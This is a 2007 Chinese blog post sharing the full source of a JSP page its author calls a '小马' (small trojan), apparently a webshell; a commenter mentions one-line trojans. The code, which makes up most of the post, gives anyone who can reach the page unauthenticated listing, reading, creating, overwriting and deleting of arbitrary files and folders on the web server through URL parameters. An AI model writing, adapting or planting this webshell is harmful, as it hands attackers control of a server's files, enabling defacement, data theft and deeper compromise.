tothttp://blog.yesky.com/Blog/tot/复制地址
公告栏
http://www.totcms.com国内提供CMS门户产品 http://www.pingpanghome.com
控制面板
日历
<2008年9月>
SuMoTuWeThFrSa
31123456
78910111213
14151617181920
21222324252627
2829301234
567891011
留言簿(6)
文章档案
111
最新评论
评论排行榜

 闲着没事,写了JSP在线文件管理器,呵呵,功能不强,算是个小马吧。

作者:淘特网

出自:www.tot.name

注:转载请注明出处

 <%@ page contentType="text/html;charset=gb2312"%>

<%@page import="java.io.*,java.util.*,java.net.*" %>

<%!

public class Files {   

   

    public Files() {       

        fileSepa=System.getProperty("file.separator");       

    }

    public String getSeparator(){

        return fileSepa;

    }

   

    public String getDefaultEncoding(){

        String temp=System.getProperty("file.encoding");

        return temp;

    }

   

    public String getList(String strPath){

        files=new File(strPath);

        StringBuffer sb=new StringBuffer("");

        if(files.isDirectory()){

            File listFile[]=files.listFiles();

            for(int i=0;i<listFile.length;i++){

             if(listFile[i].isDirectory()){             

                 sb.append("<b>Folder</b>:<a href=\"?action=list&path="+listFile[i].getPath()+"\">"+listFile[i].getName()+"</a>"+":"+"<a href=\"?action=delfolder&path="+listFile[i].getPath()+"\">DelFolder</a>"+"<br>\n");

                }

                else{

                 sb.append("File:"+listFile[i].getName()+":"+"<a href=\"?action=del&file="+listFile[i].getPath()+"\">delete</a>"+"&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"?action=edit&file="+listFile[i].getPath()+"\">Edit</a>"+"<br>\n");

                }

            }

        }

        return sb.toString();

    }

  

    public boolean mkdir(String strPath){

       try{

           files=new File(strPath.toString());      

        if(!files.exists()){

            files.mkdir();

        }

        }

       catch(Exception e){

           e.printStackTrace();

       }

        return true;

    }

    public boolean deldir(String strPath){

       try{

           files=new File(strPath.toString());      

        if(files.exists()){

         File listFile[]=files.listFiles();

             for(int i=0;i<listFile.length;i++){

             if(listFile[i].isDirectory()){             

                 listFile[i].delete();

                }

                else{

                 listFile[i].delete();

                }

             }

             files.delete();

        }

        }

       catch(Exception e){

           e.printStackTrace();

       }

        return true;

    }

   

    public boolean deleFile(String strPath){

       try{

           files=new File(strPath.toString());      

        if(files.exists()){

            files.delete();

        }

        }

       catch(Exception e){

           e.printStackTrace();

       }

        return true;

    }

   

    public boolean createFile(String strPath,String content){

        BufferedWriter bw=null;

       try{

           files=new File(strPath.toString());      

            bw= new BufferedWriter(new OutputStreamWriter(new FileOutputStream(files), "gb2312"));

            bw.write(content,0,content.length());

            bw.flush(); 

        }

       catch(IOException e){

            System.out.println("file write error"+e.getMessage());

        }

        finally{

            try{

                bw.close();

            }

            catch(IOException e){

                e.printStackTrace();               

            }

        }

        return true;

    }

   

    public String readFile(String filepath) throws FileNotFoundException

    {

        String returnStr="";

        try{

            files=new File(filepath.toString());    

            InputStreamReader read =new InputStreamReader(new FileInputStream(files),"gb2312");          

            BufferedReader br=new BufferedReader(read);

            String line=null;

            line=br.readLine();   

            while(line!=null){

                returnStr=returnStr+line+"\n\r";

                line=br.readLine();   

            }

        }

        catch(IOException e){

            System.out.println("file open error"+e.getMessage());

        }

        if(returnStr==null){

            return "file is empty";

        }

        else{

            return returnStr;

        }

    }   

    File files=null;

    public String fileSepa=null;

}

%>

<%

request.setCharacterEncoding("gb2312");

String strDir = request.getParameter("path");

if(strDir==null){

 strDir=request.getRealPath("/");

}

String strAction = request.getParameter("action");

String strFile = request.getParameter("file");

String strContent = request.getParameter("content");


Files fs=new Files();

String splitstr="/";

if(fs.getSeparator().equals("\\")){

 splitstr="\\";

}

String parentStr="";

parentStr=strDir.substring(0,strDir.lastIndexOf(splitstr));

out.println("<a href=?action=list&path="+parentStr+">../</a>");

out.println("<fieldset style=\"padding:10px;\"><legend>current path</legend>"+request.getRealPath("/"));

out.println("<form method=post action=\"?action=createfile\">");

out.println("FileName:<input type=text name=\"file\" size=\"50\" value=\""+strDir+"\"><br>Content:<textarea cols=\"50\" rows=\"10\" name=\"content\"></textarea>");

out.println("<p><input type=submit value=\"CreateNewFile\"> <input type=reset value=reset></p></form>");

out.println("<br></fieldset>");

if(strAction!=null && strAction.equals("del"))

{

 Files f=new Files();

 f.deleFile(strFile);

 out.print("delete file:"+strFile+"&nbsp;&nbsp;<a href=\"#\" onClick=\"javascript:history.back();\"><=返回</a>");

}


if(strAction!=null && strAction.equals("list"))

{

 Files f=new Files();

 out.print("<fieldset style=\"padding:10px;\"><legend>File List</legend>"+f.getList(strDir)+"<br></fieldset>");

}

if(strAction!=null && strAction.equals("delfolder"))

{

 Files f=new Files();

 f.deldir(strDir);

 out.print("delete folder:"+strDir+"&nbsp;&nbsp;<a href=\"#\" onClick=\"javascript:history.back();\"><=返回</a>");

}

if(strAction!=null && strAction.equals("createfile"))

{

 Files f=new Files();

 f.createFile(strFile,strContent);

 out.print("create file:"+strFile+"&nbsp;&nbsp;<a href=\"#\" onClick=\"javascript:history.back();\"><=返回</a>");

}

if(strAction!=null && strAction.equals("edit"))

{

 Files f=new Files(); 

 out.println("<form method=post action=\"?action=editfile\">");

 out.println("<input type=hidden name=\"file\" size=\"50\" value=\""+strFile+"\"><br><textarea cols=\"50\" rows=\"10\" name=\"content\">"+f.readFile(strFile)+"</textarea>");

 out.println("<p><input type=submit value=submit> <input type=reset value=reset></p></form>");

}

if(strAction!=null && strAction.equals("editfile"))

{

 Files f=new Files();

 f.createFile(strFile,strContent);

 out.print("Edit file:"+strFile+"&nbsp;&nbsp;<a href=\"#\" onClick=\"javascript:history.back();\"><=返回</a>");

}

%>

 

在Linux和Windows均测试通过。
作者:tot 阅读() 评论()  编辑 发表于:2007-01-19 13:24
相关内容
文章评论

  • # re: 一个JSP小马程序
  • 这还算小?没听说过一句话木马?
    天极博友 | 2007-05-22 15:39

    发表评论
    标题 *  
    姓名 *  
    内容 *  
       验证码: *       
           
    版权声明:天极是本Blog托管服务提供商。如本文牵涉版权问题,天极不承担相关责任,请版权拥有者直接与文章作者联系解决。
    Powered by:

    Copyright © tot